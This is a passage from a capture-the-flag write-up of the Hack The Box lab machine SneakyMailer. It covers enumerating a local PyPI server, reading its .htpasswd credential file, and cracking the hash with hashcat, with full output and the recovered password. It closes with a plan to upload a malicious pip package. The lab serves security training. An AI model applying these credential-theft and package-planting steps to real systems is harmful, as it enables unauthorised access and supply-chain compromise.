PyPi


www-data@sneakymailer:~$ ll
total 24K
4.0K drwxr-xr-x  8 root root 4.0K Jun 23  2020 sneakycorp.htb
4.0K drwxr-xr-x  3 root root 4.0K Jun 23  2020 dev.sneakycorp.htb
4.0K drwxr-xr-x  4 root root 4.0K May 15  2020 pypi.sneakycorp.htb
4.0K drwxr-xr-x  6 root root 4.0K May 14  2020 .
4.0K drwxr-xr-x  2 root root 4.0K May 14  2020 html
4.0K drwxr-xr-x 12 root root 4.0K May 14  2020 ..

Checking the default web directory, /var/www reveals another sub-domain / virtual host I was aware of that there’s something going on with PyPi as the organization was pushing to make it available locally, but I did not know there was a sub-domain / virtual host for that as well.

www-data@sneakymailer:~/pypi.sneakycorp.htb$ ps -auxwww | grep -i pypi
pypi       681  0.0  0.6  36804 26036 ?        ss   05:57   0:14 /var/www/pypi.sneakycorp.htb/venv/bin/python3 /var/www/pypi.sneakycorp.htb/venv/bin/pypi-server -i 127.0.0.1 -p 5000 -a update,download,list -P /var/www/pypi.sneakycorp.htb/.htpasswd --disable-fallback -o /var/www/pypi.sneakycorp.htb/packages

There is also a process that I found earlier relevant to PyPi It’s running with the privileges of the pypi user

Virtual Host


www-data@sneakymailer:~$ ll /etc/nginx/sites-enabled
total 8.0K
4.0K drwxr-xr-x 2 root root 4.0K May 26  2020 .
   0 lrwxrwxrwx 1 root root   46 May 14  2020 pypi.sneakycorp.htb -> /etc/nginx/sites-available/pypi.sneakycorp.htb
   0 lrwxrwxrwx 1 root root   41 May 14  2020 sneakycorp.htb -> /etc/nginx/sites-available/sneakycorp.htb
4.0K drwxr-xr-x 8 root root 4.0K May 14  2020 ..

All the web servers are powered by Nginx, and checking its configuration file shows that pypi.sneakycorp.htb is indeed enabled.

www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ cat /etc/nginx/sites-enabled/pypi.sneakycorp.htb
server {
	listen 0.0.0.0:8080 default_server;
	listen [::]:8080 default_server;
	server_name _;
}
 
 
server {
	listen 0.0.0.0:8080;
	listen [::]:8080;
 
	server_name pypi.sneakycorp.htb;
 
	location / {
		proxy_pass http://127.0.0.1:5000;
		proxy_set_header Host $host;
		proxy_set_header X-Real-IP $remote_addr;
	}
}

Checking the Nginx configuration file for pypi.sneakycorp.htb reveals that it is indeed

  • a virtual host
  • originally hosted on the 127.0.0.1:5000 socket
  • proxied over the 0.0.0.0:8080 socket

htpasswd


www-data@sneakymailer:~$ cd pypi.sneakycorp.htb ; ll
total 20K
4.0K drwxrwx--- 2 root pypi-pkg 4.0K Jun 30  2020 packages
4.0K -rw-r--r-- 1 root root       43 May 15  2020 .htpasswd
4.0K drwxr-xr-x 4 root root     4.0K May 15  2020 .
4.0K drwxr-xr-x 6 root pypi     4.0K May 14  2020 venv
4.0K drwxr-xr-x 6 root root     4.0K May 14  2020 ..

The web directory for the pypi.sneakycorp.htb virtual host contains a htpasswd file Presence of the .htpasswd file suggests that the resource inside might be secured using the basic HTTP authentication

www-data@sneakymailer:~/pypi.sneakycorp.htb$ cat .htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

The credential is hashed for obvious reaons

Password Cracking


┌──(kali㉿kali)-[~/archive/htb/labs/sneakymailer]
└─$ hashcat -a 0 -m 1600 pypi.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
 
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
 
Session..........: hashcat
Status...........: Running
Hash.Mode........: 1600 (Apache $apr1$ MD5, md5apr1, MD5 (APR))
Hash.Target......: $apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
Time.Started.....: Thu Mar 16 16:01:10 2023 (1 min, 25 secs)
Time.Estimated...: Thu Mar 16 16:15:17 2023 (12 mins, 42 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    16923 H/s (5.78ms) @ Accel:256 Loops:125 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 1436928/14344385 (10.02%)
Rejected.........: 0/1436928 (0.00%)
Restore.Point....: 1436928/14344385 (10.02%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:875-1000
Candidate.Engine.: Device Generator
Candidates.#1....: nockoy -> nmouna
Hardware.Mon.#1..: Util: 95%
 
$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/:soufianeelhaoui     
 
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1600 (Apache $apr1$ MD5, md5apr1, MD5 (APR))
Hash.Target......: $apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
Time.Started.....: Thu Mar 16 16:01:10 2023 (3 mins, 38 secs)
Time.Estimated...: Thu Mar 16 16:04:48 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    16596 H/s (5.54ms) @ Accel:256 Loops:125 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3614208/14344385 (25.20%)
Rejected.........: 0/3614208 (0.00%)
Restore.Point....: 3613440/14344385 (25.19%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:875-1000
Candidate.Engine.: Device Generator
Candidates.#1....: souleater10 -> soucia
Hardware.Mon.#1..: Util: 96%
 
Started: Thu Mar 16 16:00:55 2023
Stopped: Thu Mar 16 16:04:49 2023

hashcat was able to crack the password hash The cracked password hash is soufianeelhaoui

pypi.sneakycorp.htb


In order to access the web server, I would need to append the newly discovered virtual host to the /etc/hosts file on Kali

the pypiserver is indeed present and proxied over the port 8080

A PyPI server, also known as a PyPI repository or PyPI mirror, is a local or private copy of the PyPI repository. This allows developers to create their own package repositories and host their own packages in a secure and private manner.

Both hyperlinks respectively leading to the /packages/ and /simple/ directory require the basic HTTP authentication I will authenticate using the cracked credential above

Although I am able to authenticate and access, those directories are empty However, I might be able to exploit it by uploading a malicious PIP package since I can now access the service